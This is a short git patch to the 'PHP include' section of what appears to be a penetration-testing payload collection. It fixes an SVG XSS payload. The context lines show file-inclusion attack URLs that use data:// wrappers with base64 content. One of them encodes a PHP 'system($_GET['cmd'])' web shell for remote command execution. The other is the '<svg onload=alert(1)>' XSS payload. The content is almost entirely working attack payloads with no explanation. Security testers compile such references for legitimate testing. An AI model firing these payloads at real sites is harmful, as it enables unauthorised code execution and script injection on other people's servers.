From a9fe14fa29c0be64c17e333e8549b604d904f89f Mon Sep 17 00:00:00 2001 From: swisskyrepo Date: Tue, 25 Oct 2016 00:18:07 +0700 Subject: [PATCH] Fix SVG payload - with a trick :X --- PHP include/README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/PHP include/README.md b/PHP include/README.md index 74954e0..69dd577 100644 --- a/PHP include/README.md +++ b/PHP include/README.md @@ -31,7 +31,8 @@ http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbW ``` -XSS via RFI/LFI with "<svg onload=alert(1)>onload=alert(1)>" payload +XSS via RFI/LFI with "<svg onload=alert(1)>" payload + ``` http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+ ```